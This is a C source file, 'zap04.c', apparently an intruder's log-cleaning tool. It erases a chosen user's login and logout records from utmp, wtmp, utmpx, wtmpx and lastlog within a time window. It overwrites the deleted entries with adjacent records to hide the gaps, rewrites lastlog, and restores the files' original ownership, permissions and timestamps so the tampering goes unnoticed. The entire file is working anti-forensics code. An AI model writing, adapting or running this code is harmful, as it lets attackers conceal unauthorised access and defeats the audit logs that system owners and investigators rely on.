/*
 * zap04.c
 * by xeon
 * 
 * utmp - wtmp - lastlog - utmpx - wtmpx log cleaner
 * based upon an util by Mindmaniac [THC]
 *
 * Use: zap <username> [fromsec] [tosec] 
 *                     [fromhour] [tohour] 
 *                     [fromday] [today] 
 *                     [frommonth] [to month] 
 *                     [year]
 * where
 * - username: required - username to clean
 * - fromsec : optional - clean from this second (default=5 min ago)
 * - tosec   : optional - clean till this second (default=now)
 * - ...(snip,use the brain or look code)...
 *   
 * Remember, in this version values must be given in absolute form.
 *
 * Features: 
 * - automatically finds system dependent logfiles 
 * - correct handling of lastlog (wtmp/wtmpx copy)
 * - clean also logout entry
 * - delete only entry in time slice specified
 * - preserve last access file time 
*/

#define TMP // utmp or wtmp
#define LASTLOG // All except HP-UX, BSDI, FreeBSD, AIX?
#define TMPX // wtpmx or utmpx
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <utime.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <utmp.h>
#include <pwd.h>
#ifdef LASTLOG
# include <lastlog.h>
#endif
#ifdef TMPX
# include <utmpx.h>
#endif
 
#define ENTRY 1000L
 
 
void determine_log(char *list[], int count, char *back) {
 int i;
 time_t tm=0;
 struct stat st;
 
 strcpy(back, "");
 for (i=0; i<count; i++)
   if (!stat(list[i], &st))
     if (st.st_ctime > tm) {
       tm = st.st_ctime;
       strcpy(back, list[i]);
     }
}

#ifdef TMP
int kill_tmp(char *user, char *old, time_t fromtime, time_t totime) {
 FILE *fd, *tmpfd;
 int incount=0, outcount=0, logcount=0, i;
 char new[64]="";
 struct utmp ut_login[ENTRY];
 struct utmp tmput, obfut;
 struct stat st;
 struct utimbuf utb;
 
 strcpy(new, old);
 strcat(new, ".gz.1");
 
 printf("- Starting to clean...\n");
  
 stat(old, &st);
  
 if (NULL == (fd = fopen(old, "r+"))) {
   printf("ERROR!!! Cannot open %s\n", old);
   return -1;
 }
 if (NULL == (tmpfd = fopen(new, "w"))) {
   printf("ERROR!!! Cannot open %s\n", new);
   return -1;
 }
 
 memset(ut_login, 0, sizeof(ut_login[0])*ENTRY);
 memset(&obfut, 0, sizeof(obfut));
 
 while (!feof(fd)&&!ferror(fd)) {
   
   if (1 != fread(&tmput, sizeof(tmput), 1, fd)){
     continue;
   }
   
   if ((tmput.ut_tv.tv_sec < fromtime) || (tmput.ut_tv.tv_sec > totime)){
     memcpy(&obfut, &tmput, sizeof(obfut));
     fwrite(&tmput, sizeof(tmput), 1, tmpfd);
     continue;
   }
   
   if (!strcmp(user, tmput.ut_user)) {
   // got an entry do delete
     incount++;
     if (logcount < ENTRY) memcpy(&ut_login[logcount++], &tmput, sizeof(tmput));
     else printf(" - Warning: too much entry to find logout entry for all - ");
     // obfuscating mode on ;)
     fseek(fd, -sizeof(obfut), SEEK_CUR);
     fwrite(&obfut, sizeof(obfut), 1, fd);
   }
   else {
   // try to delete also logout entry
     if ((logcount > 0) && (!strcmp(tmput.ut_user, ""))) {
     // trying to find corrispective login entry...
       i = logcount-1;
       while (i+1 > 0) {
         if ((ut_login[i].ut_tv.tv_sec <= tmput.ut_tv.tv_sec) &&
             ( (ut_login[i].ut_pid == tmput.ut_pid) || 
	       (ut_login[i].ut_session == tmput.ut_session) ) &&
             (!strcmp(ut_login[i].ut_line, tmput.ut_line))) {
         // found the rispective login entry, obfuscating it
           fseek(fd, -sizeof(obfut), SEEK_CUR);
           fwrite(&obfut, sizeof(obfut), 1, fd);
           // shifting log entry to the left
           for (; i < logcount-1; i++)
             memcpy(&ut_login[i], &ut_login[i+1], sizeof(ut_login[i]));
           memset(&ut_login[i], 0, sizeof(ut_login[i]));
           // refresh counters
           logcount--; outcount++;
           
           break;
         }  
         // not still found, continue to search
         i--;
       }
       // it has a corrispective?
       if (i <= 0) {
         // no...write it to new log
         memcpy(&obfut, &tmput, sizeof(obfut));
         fwrite(&tmput, sizeof(tmput), 1, tmpfd);
       }
     }
     // normal entry, write it to new log
     else {
       memcpy(&obfut, &tmput, sizeof(obfut));
       fwrite(&tmput, sizeof(tmput), 1, tmpfd);
     }
   }
 }
  
 fclose(fd);
 fclose(tmpfd);
  
 if (rename(new, old))
   printf(" - WARNING: Cannot delete old log - "); 
 if (chown(old, st.st_uid, st.st_gid))
   printf(" - Warning: cannot chown() %s - ", old);
 if (chmod(old, st.st_mode))
   printf(" - Warning: cannot chmod() %s - ", old);
 utb.actime = st.st_atime;
 utb.modtime= st.st_mtime;
 if (utime(old, &utb))
   printf(" - Warning: cannot change access time for %s - ", old);
  
 printf(" - Login  deleted: %d\n", incount);
 printf(" - Logout deleted: %d\n", outcount);
 printf(" - Not associated: %d\n", logcount);
 
 printf("- done\n");
   
 return 0;
}
#endif

#ifdef LASTLOG
int kill_lastlog(char *user, char *real_wtmp, char *real_wtmpx, char *old, time_t fromtime, time_t totime) {
 FILE *fd;
 long pos=-1;
 struct passwd *pw_ent;
#ifdef TMP
 struct utmp utmp_ent;
#endif
#ifdef TMPX
 struct utmpx utmpx_ent;
#endif
 struct lastlog lastlog_ent;
 struct stat st;
 struct utimbuf utb;
    
 printf("- Starting to clean...\n");
 
 if (NULL == (pw_ent = getpwnam(user))) {
   printf(" - Cant find %s passwd entry\n", user);
   return -1;
 }

 stat(old, &st);

#ifdef TMP 
 if (strcmp(real_wtmp, "")) {
   if (NULL == (fd = fopen(real_wtmp, "r"))) {
     printf(" - ERROR!!! Cannot open %s\n", real_wtmp);
     return -1;
   }
   while ((!feof(fd)) && !ferror(fd)) {
     if (1 != fread(&utmp_ent, sizeof(utmp_ent), 1, fd)) continue;
     // is an entry of ours truly user?
     // is a USER_PROCESS?
     // and not in the time in wich he shouldn't be there?
     if ((utmp_ent.ut_type == USER_PROCESS)&&
         ((utmp_ent.ut_tv.tv_sec < fromtime)||(utmp_ent.ut_tv.tv_sec > totime))&&
         (!strcmp(utmp_ent.ut_user, user))) {
       pos = ftell(fd) - sizeof(utmp_ent);
     }
   }
   
   if (pos != -1) {
     fseek(fd, pos, SEEK_SET);
     fread(&utmp_ent, sizeof(utmp_ent), 1, fd);
     lastlog_ent.ll_time = utmp_ent.ut_time;
     strcpy(lastlog_ent.ll_line, utmp_ent.ut_line);
     strcpy(lastlog_ent.ll_host, utmp_ent.ut_host);
     printf(" - Last entry for %s: %s", user, ctime(&lastlog_ent.ll_time));
   }
   else printf(" - User %s has no wtmp entry\n", user);

   fclose(fd);   
 }
#endif
#ifdef TMPX
 if (strcmp(real_wtmpx, "")) {
   if (NULL == (fd = fopen(real_wtmpx, "r"))) {
     printf(" - ERROR!!! Cannot open %s\n", real_wtmpx);
     return -1;
   }
   while ((!feof(fd)) && !ferror(fd)) {
     if (1 != fread(&utmpx_ent, sizeof(utmpx_ent), 1, fd)) continue;
     // is an entry of ours truly user?
     // is a USER_PROCESS?
     // and not in the time in wich he shouldn't be there?
     if ((utmpx_ent.ut_type == USER_PROCESS)&&
         ((utmpx_ent.ut_tv.tv_sec < fromtime)||(utmpx_ent.ut_tv.tv_sec > totime))&&
         (!strcmp(utmpx_ent.ut_user, user))) {
       pos = ftell(fd) - sizeof(utmpx_ent);
     }
   }
   
   if (pos != -1) {
     fseek(fd, pos, SEEK_SET);
     fread(&utmpx_ent, sizeof(utmpx_ent), 1, fd);
     lastlog_ent.ll_time = utmpx_ent.ut_time;
     strcpy(lastlog_ent.ll_line, utmpx_ent.ut_line);
     strcpy(lastlog_ent.ll_host, utmpx_ent.ut_host);
     printf(" - Last entry for %s: %s", user, ctime(&lastlog_ent.ll_time));
   }
   else printf(" - User %s has no wtmp entry\n", user);

   fclose(fd);   
 }
#endif
 
 if (NULL == (fd = fopen(old, "r+"))) {
   printf(" - ERROR!!! Cannot open %s\n", old);
   return -1;
 }
 if (fseek(fd, pw_ent->pw_uid * sizeof(lastlog_ent), SEEK_SET)) {
   printf("ERROR!!! Cannot fseek() to %s\n", user);
   fclose(fd);
   return -1;
 }
   
 if (pos > 0) { 
   fseek(fd, pw_ent->pw_uid * sizeof(lastlog_ent), SEEK_SET);
   fwrite(&lastlog_ent, sizeof(lastlog_ent), 1, fd);

   printf(" - Set lastlog of %s: %s", user, ctime(&lastlog_ent.ll_time));
 }
 else {
   memset(&lastlog_ent, 0, sizeof(lastlog_ent));
   if (1 > fwrite(&lastlog_ent, sizeof(lastlog_ent), 1, fd)) {
     printf("ERROR!!! Cannot erase %s entry\n", user);
     fclose(fd);
     return -1;
   }
   
   printf(" - zeroed %s for user %s\n", old, user);
 }
    
 fclose(fd);

 utb.actime = st.st_atime;
 utb.modtime= st.st_mtime;
 if (utime(old, &utb))
   printf (" - Warning: cannot change access time for %s\n", old);
 
 printf("- done\n");
  
 return 0;
}
#endif

#ifdef TMPX
int kill_tmpx(char *user, char *old, time_t fromtime, time_t totime) {
 FILE *fd, *tmpfd;
 int incount=0, outcount=0, logcount=0, i;
 char new[64]="";
 struct utmpx ut_login[ENTRY];
 struct utmpx tmput, obfut;
 struct stat st;
 struct utimbuf utb;

 strcpy(new, old);
 strcat(new, ".gz.1");

 stat(old, &st);
  
 printf("- Starting to clean...\n");
  
 if (NULL == (fd = fopen(old, "r+"))) {
   printf("ERROR!!! Cannot open %s\n", old);
   return -1;
 }
 if (NULL == (tmpfd = fopen(new, "w"))) {
   printf("ERROR!!! Cannot open %s\n", new);
   return -1;
 }
 
 memset(ut_login, 0, sizeof(ut_login[0])*ENTRY);
 memset(&obfut, 0, sizeof(obfut));
 
 while (!feof(fd)&&!ferror(fd)) {
   
   if (1 != fread(&tmput, sizeof(tmput), 1, fd)){
     continue;
   }
   
   if ((tmput.ut_tv.tv_sec < fromtime) || (tmput.ut_tv.tv_sec > totime)){
     memcpy(&obfut, &tmput, sizeof(obfut));
     fwrite(&tmput, sizeof(tmput), 1, tmpfd);
     continue;
   }
   
   if (!strcmp(user, tmput.ut_user)) {
   // got an entry do delete
     incount++;
     if (logcount < ENTRY) memcpy(&ut_login[logcount++], &tmput, sizeof(tmput));
     else printf(" - Warning: too much entry to find logout entry for all - ");
     // obfuscating mode on ;)
     fseek(fd, -sizeof(obfut), SEEK_CUR);
     fwrite(&obfut, sizeof(obfut), 1, fd);
   }
   else {
   // try to delete also logout entry
     if ((logcount > 0) && (!strcmp(tmput.ut_user, ""))) {
     // trying to find corrispective login entry...
       i = logcount-1;
       while (i+1 > 0) {
         if ((ut_login[i].ut_tv.tv_sec <= tmput.ut_tv.tv_sec) &&
             ( (ut_login[i].ut_pid == tmput.ut_pid) || 
	       (ut_login[i].ut_session == tmput.ut_session) ) &&
             (!strcmp(ut_login[i].ut_line, tmput.ut_line))) {
         // found the rispective login entry, obfuscating it
           fseek(fd, -sizeof(obfut), SEEK_CUR);
           fwrite(&obfut, sizeof(obfut), 1, fd);
           // shifting log entry to the left
           for (; i < logcount-1; i++)
             memcpy(&ut_login[i], &ut_login[i+1], sizeof(ut_login[i]));
           memset(&ut_login[i], 0, sizeof(ut_login[i]));
           // refresh counters
           logcount--; outcount++;
           
           break;
         }  
         // not still found, continue to search
         i--;
       }
       // it has a corrispective?
       if (i <= 0) {
         // no...write it to new log
         memcpy(&obfut, &tmput, sizeof(obfut));
         fwrite(&tmput, sizeof(tmput), 1, tmpfd);
       }
     }
     // normal entry, write it to new log
     else {
       memcpy(&obfut, &tmput, sizeof(obfut));
       fwrite(&tmput, sizeof(tmput), 1, tmpfd);
     }
   }
 }
  
 fclose(fd);
 fclose(tmpfd);
  
 if (rename(new, old))
   printf(" - WARNING: Cannot delete old log - "); 
 if (chown(old, st.st_uid, st.st_gid))
   printf(" - Warning: cannot chown() %s - ", old);
 if (chmod(old, st.st_mode))
   printf(" - Warning: cannot chmod() %s - ", old);
 utb.actime = st.st_atime;
 utb.modtime= st.st_mtime;
 if (utime(old, &utb))
   printf (" - Warning: cannot change access time for %s\n", old); 
  
 printf(" - Login  deleted: %d\n", incount);
 printf(" - Logout deleted: %d\n", outcount);
 printf(" - Not associated: %d\n", logcount);
 
 printf("- done\n");
  return 0;
}
#endif


int main (int argc, char **argv)
{
 
 char *wtmp[4] = {"/var/adm/wtmp","/usr/adm/wtmp","/etc/wtmp","/var/log/wtmp"};
 char *utmp[5] = {"/var/adm/utmp","/usr/adm/utmp","/etc/utmp","/var/log/utmp","/var/run/utmp"};
 char *lastlog[4] = {"/var/adm/lastlog","/usr/adm/lastlog","/etc/lastlog","/var/log/lastlog"};
 char *wtmpx[4] = {"/var/adm/wtmpx","/usr/adm/wtmpx","/etc/wtmpx","/var/log/wtmpx"};
 char *utmpx[5] = {"/var/adm/utmpx","/usr/adm/utmpx","/etc/utmpx","/var/log/utmpx","/var/run/utmpx"};
 
 char logname[64]="", user[64], real_wtmp[64]="", real_wtmpx[64]="";
 
 time_t fromtime, totime;
 struct tm tv_from, tv_to;
  
 if (argc < 2) { printf("Give me an username guy...\n"); return 0; }
 strcpy(user, argv[1]);

 // delete till now
 time(&totime);
 gmtime_r(&totime, &tv_to);
 tv_to.tm_sec = 59;
 // delete from 5 minutes ago
 fromtime = totime - 300;
 gmtime_r(&fromtime, &tv_from);
 tv_from.tm_sec = 0;
  
 if (argc >= 3) {
   tv_from.tm_min = atoi(argv[2]);
 }

 if (argc >= 4) {
   tv_to.tm_min = atoi(argv[3]);
 }

 if (argc >= 5) {
   tv_from.tm_hour = atoi(argv[4]);
 }

 if (argc >= 6) {
   tv_to.tm_hour = atoi(argv[5]);
 }

 if (argc >= 7) {
   tv_from.tm_mday = atoi(argv[6]);
 }

 if (argc >= 8) {
   tv_to.tm_mday = atoi(argv[7]);
 }

 if (argc >= 9) {
   tv_from.tm_mon = atoi(argv[8])-1;
 }

 if (argc >= 10) {
   tv_to.tm_mon = atoi(argv[9])-1;
 }

 if (argc >= 11) {
   tv_from.tm_year = atoi(argv[10])-1900;
   tv_to.tm_year = atoi(argv[10])-1900;
 }
 
 fromtime = mktime(&tv_from);
 totime = mktime(&tv_to);
 
 printf("[+] Deleting from %s", ctime(&fromtime));
 printf("[+] Deleting to   %s", ctime(&totime));
  
#ifdef TMP
 printf("[+] wtmp : "); determine_log(wtmp, 4, logname);
 if (*logname) {
   printf("%s\n", logname);
   strcpy(real_wtmp, logname);
   kill_tmp(user, logname, fromtime, totime); 
 } else printf("not found\n");
 
 printf("[+] utmp : "); determine_log(utmp, 5, logname);
 if (*logname) {
   printf("%s\n", logname);
   kill_tmp(user, logname, fromtime, totime); 
 } else printf("not found\n");
#endif
  
#ifdef TMPX
 printf("[+] wtmpx : "); determine_log(wtmpx, 4, logname);
 if (*logname) {
   strcpy(real_wtmpx, logname);
   printf("%s\n", logname);
   kill_tmpx(user, logname, fromtime, totime); 
 } else printf("not found\n");
 
 printf("[+] utmpx : "); determine_log(utmpx, 5, logname);
 if (*logname) {
   printf("%s\n", logname);
   kill_tmpx(user, logname, fromtime, totime); 
 } else printf("not found\n");
#endif
  
#ifdef LASTLOG
 printf("[+] lastlog : "); determine_log(lastlog, 4, logname);
 if (*logname) {
   printf("%s\n", logname); 
   kill_lastlog(user, real_wtmp, real_wtmpx, logname, fromtime, totime); 
 } else printf("not found\n");
#endif

 return 0;
}
